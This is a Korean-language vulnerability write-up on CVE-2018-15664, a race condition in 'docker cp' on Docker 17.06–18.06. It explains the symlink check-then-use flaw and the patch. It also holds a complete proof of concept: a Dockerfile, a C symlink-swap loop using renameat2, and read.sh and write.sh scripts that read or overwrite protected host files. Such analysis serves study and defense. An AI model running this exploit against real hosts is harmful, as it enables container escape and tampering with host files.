| 취약점 (버전) | 취약점 종류 | 취약점 설명 |
|---|---|---|
| Docker Engine 17.06.0-ce ~ 18.06.1-ce | Path Traversal, Host File Access | docker cp 명령 중 FollowSymlinklnScope 함수 ⇒ 주어진 경로에 대한 심볼릭 링크가 걸려 있다면 최종적으로 가리키는 원본 파일의 절대 경로를 리턴 |
TOC-TOU (Time Of Check-Time Of Use)
어떠한 자원을 사용하기 전에 자원의 상태를 확인하는 로직(조건-조건에 대한 결과) 사이에서 주로 발생하는 race condition bug
docker 명령어
renameat2 함수
두 개의 이름의 디렉터리(심볼릭 링크)에 대하여 서로의 이름을 바꿔주는 함수
“docker cp” 명령을 사용하며 내부적으로 호출되는 FollowSymlinkInScope 함수에서 TOC-TOU가 발생할 수 있는 로직이 존재함.
...
// FollowSymlinkInScope is a wrapper around evalSymlinksInScope that returns an
// absolute path. This function handles paths in a platform-agnostic manner.
func FollowSymlinkInScope(path, root string) (string, error) {
path, err := filepath.Abs(filepath.FromSlash(path))
if err != nil {
return "", err
}
root, err = filepath.Abs(filepath.FromSlash(root))
if err != nil {
return "", err
}
return evalSymlinksInScope(path, root)
}
...
FollowSymlinkInScope 함수에서는 원본 파일의 절대 경로를 확인한 후, 해당 파일에 대한 작업을 시도한다. 이 때 발생하는 시간차를 이용해 원본 파일에 심볼릭 링크를 걸고, 컨테이너 바깥에 위치한 파일을 가리킬 수 있도록 한다.
다시 말해 docker cp 명령의 인자값으로 전달한 컨테이너 내부 경로에 대한 확인을 하고 실제 그 경로의 값을 가져오는 사이의 시간차를 활용해 컨테이너과 호스트 사이의 경계를 허물게 한다.
① 환경 세팅 (docker 설치): 17.06.0-ce ~ 18.06.1-ce 버전의 Docker Engine 설치
② 도커 이미지 빌드 (docker build)
# ubuntu 20.04 기반의 이미지
FROM ubuntu:20.04
# 이미지 구성
RUN apt-get update && apt-get install -y gcc
# Dockerfile과 같은 디렉터리에 있는 symlink_swap.c 파일을 컨테이너내에 복사
COPY symlink_swap.c /symlink_swap.c
# 컨테이너 내부의 symlink_swap.c 코드 파일을 컴파일
RUN gcc -o /symlink_swap /symlink_swap.c
# Entrypoint를 symlink_swap으로 지정
ENTRYPOINT ["/symlink_swap"]
△ Dockerfile
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/stat.h>
#include <stdio.h>
#include <fcntl.h>
int main()
{
symlink("/", "/totally_safe_path");
// ~~"/"에 존재하는 파일에 대한 심볼릭 링크 파일을 /totally_safe_path에 생성한다.
// -> "/" (root dir)에 대한 심볼릭 링크를 "/totally_safe_path"에 연결한다.
mkdir("/totally_safe_path-stashed", 0755);
// 디렉터리 생성
while (1)
renameat2(AT_FDCWD, "/totally_safe_path", AT_FDCWD, "/totally_safe_path-stashed", RENAME_EXCHANGE);
// systemcall -> 파일 이름 변경
// (flag) RENAME_EXCHANGE: old_path(/totally_safe_path)와 new_path(/totally_safe_path-stashed)를 바꾼다. 다만 두 개의 경로명은 서로 다른 종류여야 한다. (ex. non-empty / empty directory 또는 symbolic link)
return 0;
}
△ symlink_swap.c 코드
symlink("/", "/totally_safe_path")

mkdir("/totally_safe_path-stashed", 0755)

renameat2


이와 같은 방식으로 “/” (root directory)를 가리키는 디렉터리가 계속해서 바뀐다.
ⓒ TOC-TOU 유도 스크립트 작성 (docker cp)
#!/bin/sh
# Build and run the image.
docker build -t poc .
container_id=$(docker run --rm -d poc)
# Now continually try to copy the files.
i=0
while [ $i -lt 500 ]
do
mkdir "ex${i}"
docker cp "${container_id}:/totally_safe_path/flag01" "ex${i}/out"
# (host) /var/lib/docker/overlay2/dfsvmsagfjiewrw32/totally_safe_path/flag01
# (container) renameat2 반복 실행 중
i=$(($i + 1))
done
chmod 0644 ex*/out
△ read.sh (호스트 파일 시스템 상의 읽기 권한이 없는 파일에 적힌 문자열을 읽음)
#!/bin/sh
# Build and run the image.
docker build -t poc .
container_id=$(docker run --rm -d poc)
echo "SUCCESS -- HOST FILE CHANGED" > localpath
# Now continually try to copy the files.
i=0
while [ $i -lt 500 ]
do
docker cp localpath "${container_id}:/totally_safe_path/flag02"
i=$(($i + 1))
done
△ write.sh (호스트 파일 시스템 상의 쓰기 권한이 없는 파일의 문자열 쓰기)
ⓓ arbitrary file 덮어쓰기 (write.sh 실행)

일반 사용자에게 쓰기권한이 주어지지 않은 파일을 덮어쓰는 것을 목표로 한다.
이 때 ⓒ단계에서 작성한 write.sh 파일을 실행할 때 docker cp 를 통한 TOC-TOU가 유도되며 host상에서 쓰기 권한을 가지고 있지 않았던 파일을 덮어쓸 수 있게 된다.

패치 전 docker cp 명령을 사용할 때에는 복사하는 파일/폴더를 tar 압축 후 destination에서 untar한다.
docker cp에서 tar, untar 명령을 수행하는 과정에서 컨테이너 내부의 root directory로 chroot 한 채로 복사를 하도록 패치하며 컨테이너 루트의 상위 디렉터리로 연결된 심볼릭 링크가 불가능하도록 한다.
https://www.cvedetails.com/cve/CVE-2018-15664/
https://github.com/cyphar/filepath-securejoin
https://blog.alyac.co.kr/2342
https://core-research-team.github.io/2021-04-01/Docker-Race-Condition-Vulnerability-CVE-2018-15664
▼ 특정 버전의 Docker 다운로드
https://download.docker.com/linux/static/stable/x86_64/
https://skylit.tistory.com/415
▼ FollowSymlinkInScope 함수 정의 부분
https://github.com/moby/moby/blob/17.05.x/pkg/symlink/fs.go